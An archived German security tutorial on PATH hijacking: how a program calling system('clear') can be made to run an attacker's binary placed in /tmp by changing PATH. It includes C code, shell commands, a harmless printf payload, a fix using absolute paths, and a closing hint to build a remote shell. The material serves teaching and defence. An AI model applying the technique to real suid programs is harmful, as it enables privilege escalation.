what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Whitepaper Called PATH Attacks

Whitepaper Called PATH Attacks
Posted Sep 3, 2010
Authored by fred777

Whitepaper called PATH Attacks. Written in German.

tags | paper
SHA-256 | 8a7171d2db605792d0b33902b06e2133656e7900ddfe53395a9f9b3645604ffa

Whitepaper Called PATH Attacks

Change Mirror Download
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*******************************************************
# APPSECURITY DOCUMENTATION #
# -------------------------------------- #
# Path Attacks #
# -------------------------------------- #
# #
# #
# written by fred777 [fred777.5x.to] #
# #
*******************************************************
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

--[0x00]-- Intro
--[0x01]-- Knowledge
--[0x02]-- Exploiting
--[0x03]-- Secure Example
--[0x04]-- Finito

********************************************************
##################################################

--[0x00]-- Intro

Willkommen zu meiner kleinen Description über PATH Attacks.
PATH Attacks sind eine Art Angriff auf unsichere system() Aufrufe.
Meistens gesehen in kleinen Programmen, ja auch ich habe sie benutzt *g

########################################################################

--[0x01]-- Knowledge

Stellen wir uns mal vor, wir haben nun ein solches Programm gefunden, welches
am Schluss des Codes immer ein system("clear") benutzt, damit die Konsole auch wieder schön sauber ist.
Hier mal ein kleiner Beispielsource in C:

#include <stdio.h>

int main()
{

printf ("Firmenverwaltungssoftware 1.0\n");
printf ("Eep, hier wird verwaltet...blub\n");
system("clear");

}

ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ ./prog
...

Man sieht hier am Ende ein System() Aufruf welcher clear aufrufen soll.
Nur wo liegt das Problem dabei?
Ganz einfach, wenn man mal nachdenkt woher system() weiß, wo clear
letztendlich liegt, nämlich in /usr/bin/clear.
system() macht nichts anderes als in den Verzeichnissen welche
in der PATH Environment Variable angegeben sind, zu suchen.
Schauen wir uns doch einfach mal den jetzigen Inhalt von $PATH an:

ubuntu@ubuntu:~$ $PATH
bash: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:

So hier sieht man, dass der System() Aufruf in:
/usr/local/sbin:
/usr/local/bin:
/usr/sbin:
/usr/bin:
/sbin:
/bin:
/usr/games:
nach "clear" sucht, und es letztendlich in usr/bin: findet.

########################################################################

--[0x02]-- Exploiting

Nun kommen wir zum eigentlichen Kern des Papers, wir verändern einfach
den Inhalt und leiten den Aufruf zu unseren Gunsten um, das geht mit export:

export [Var]=[Verzeichnis]

Zuerst einmal erstellen wir aber ein eigenes Clear welches später anstatt
des Unix-Clears ausgeführt werden soll, für den Anfang reicht ein normales printf in /tmp :>

#include <stdio.h>

int main() {

printf("\n");
printf("Your 0verl33t Shellcode");
printf("\n");

}

ubuntu@ubuntu:/tmp$ gcc -o clear clear.c
ubuntu@ubuntu:/tmp$ ./clear
..

Klappt auch so weit ;)
Nun kommt unser oben schon erwähntes export an die Reihe, dafür
switchen wir wieder zu unserem "prog" ins Verzeichnis:

ubuntu@ubuntu:/$ export PATH=/tmp:
ubuntu@ubuntu:/$ $PATH
bash: /tmp:: No such file or directory

Wir merken schon, ein normales ls -l schlägt fehl..
Wunderbar, nun sollte system() in /tmp suchen und unser clear-programm finden

ubuntu@ubuntu:~$ ./prog
Firmenverwaltungssoftware 1.0
Eep, hier wird verwaltet...blub

Your Shellcode <-----

Ohne Privis zu droppen führt jetzt das Programm (suid root) unser Clear aus..
Hier nur ein printf, später vielleicht eine Shell?...

########################################################################

--[0x03]-- Secure Example

Wir wollen aber nun unbedingt ein clear ausführen am Ende das Programms,
welches sicher ist, dafür müssen wir nichts weiter machen als den absoluten
Pfad anzugeben, welcher wie wir wissen /usr/bin/clear ist..

#include <stdio.h>

int main()
{

printf ("Firmenverwaltungssoftware 1.0\n");
printf ("Eep, hier wird verwaltet...blub\n");
system("/usr/bin/clear");

}

ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ export PATH=/tmp:
ubuntu@ubuntu:~$ ./prog
*funktioniert..

Klar gibt es noch einige Lösungswege, auch außerhalb von system(), dies sollte
aber eher als kleine Einführung dienen. Wichtig auch, dass jeder User seine eigenen
Environment Variablen hat. Taucht so ein Fehler auf, sollte der Angreifer schon
Zugang zu einem Account haben und das Programm mit Root Rechten ausgestattet sein.

########################################################################

--[0x04]-- Finito

So ich hoffe als kleine Erklärung hat das gereicht, ihr könnt ja selbst mal
was nettes basteln wie eine Remote Shell, oder was auch immer....

fred777.5x.to

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close